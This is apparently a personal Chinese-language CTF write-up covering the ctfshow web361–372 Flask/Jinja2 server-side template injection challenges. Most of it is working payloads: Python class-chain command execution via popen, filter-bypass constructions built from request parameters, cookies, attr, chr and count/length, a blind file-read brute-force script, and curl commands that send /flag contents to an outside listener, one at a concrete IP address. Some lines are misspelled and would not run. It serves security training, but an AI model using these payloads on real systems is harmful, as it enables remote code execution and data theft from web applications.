16.SSTI

Info

这是我以前刚打Ctf时的刷题记录,写得更加细一些,之前的老笔记好多写得都不乍地,但这篇我认为还是有保留的价值的
针对SSTI 有两个脚本工具可以使用 SSTIMAPFenjing

1. web361 无过滤

先看可以用哪些类

{{''.__class__.__base__.__subclasses__()}}

复制粘贴后替换
Pasted image 20240408234317
查找类的索引 <class 'os._wrap_close'>
Pasted image 20240408234420
这里需要减去1,因为从原则上来说这里是从0开始的。所以我们是选择132
找类的利用方法

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}

返回结果中查找popen
Pasted image 20240408234920
读取flag

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('tac /flag')}}

.popen('tac /flag')
回显这个表示这个命令已经执行了
Pasted image 20240408235220
但是利用system是无回显的
这里加上popen的自带函数.read()就可以获取回显内容

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}

Pasted image 20250224232032

这题还可以用列表的方式
Pasted image 20250224232129

将前面的 ' ' 换成了[]
后面的 .popen 也可以换成 ['popen']

2. web362 过滤数字2 3 config语法绕过

这题过滤了 数字 2 3
config不需要写索引,它获取的就是当前页面的

?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

3. web363 过滤单引号 request传参 参数逃逸

'os''cat /flag' 变成用request传参
[request.args.a] request.args.b

?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

request  有多种方式传参方式,引用羽师傅总结的一些方式。
此外,同样可以获取open函数:
request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

更多传参方式

request.args.x1        get传参

request.values.x1      所有参数

request.cookies      cookies参数

request.headers      请求头参数

request.form.x1       post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data           post传参    (Content-Type:a/b)

request.json         post传json  (Content-Type: application/json)

4. web364过滤单引号 与args

换其他request传参方式就行了
使用values传参

?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

5. 5.web365 过滤中括号 用url方式

?name=url_for:{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

6. web366过滤下划线 +中括号

lipsum引用
lipsum:{{lipsum.__globals__['os'].popen('calc')}}

?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

或者config引用
{{config.__class__.__init__.__globals__['os'].popen('calc')}}

?name={{config.[reqeust.values.x].[reqeust.values.xx].[reqeust.values.xxx][[reqeust.values.xxxx]].popen([reqeust.values.xxxxx]).raad()}}&x=_class_&xx=_init_&xxx=_globals_&xxxx=os&xxxxx=cat /flag

7. web367 request.cookies传参 +过滤os

?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}

cookie=a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

8. web368 +过滤 {{

使用 {% %} 绕过
{% + print 绕过

?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls
 
 
?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*

对比366的方式

?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
  • 多过滤了一个os, 这里 os 替换为 get(request.values.c)
  • {{ -> {%+print
  • }} -> %}
  • 后面记得传个c的参数os
?name={%+print(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()%}&a=__globals__&b=cat /flag&c=os

9. web369 +过滤request 单双引号 拼接字符串法

  • 获取chr函数,赋值给chr,拼接字符串
  • 这里是 {%%} 所以说可以执行代码,然后通过拼接字符赋值给变量,组成我们想要的内容
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

复杂解法1、读文件盲注

import requests
import string
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+str(ord(s[i]))+')%2b'
        else:
            t+='chr('+str(ord(s[i]))+')'
    return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''

s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
    print(i)
    for j in s:
        x=flag+j
        u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
        #print(u)
        r=requests.get(u)
        if("1341" in r.text):            
            flag=x
            print(flag)
            break

复杂解法2:反弹shell
电脑开启监听 nc -lvp 4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd后面的值用脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

10. web370 +过滤数字 用count计数

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

11. web371 +过滤print curl命令外带

过滤 print 关键字,flag 不会回显,可以用curl命令将flag带出来,最后这两道题用到的数字范围为可见字符的 ascii 码值,所以将0-9构造出来进行拼接

?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd参数的内容用 脚本生成

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://8.218.147.169:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

12. web372 过滤count,可以用length替换

?name=
{% set c=(t|length)%}
{% set cc=(dict(e=a)|join|length)%}
{% set ccc=(dict(ee=a)|join|length)%}
{% set cccc=(dict(eee=a)|join|length)%}
{% set ccccc=(dict(eeee=a)|join|length)%}
{% set cccccc=(dict(eeeee=a)|join|length)%}
{% set ccccccc=(dict(eeeeee=a)|join|length)%}
{% set cccccccc=(dict(eeeeeee=a)|join|length)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}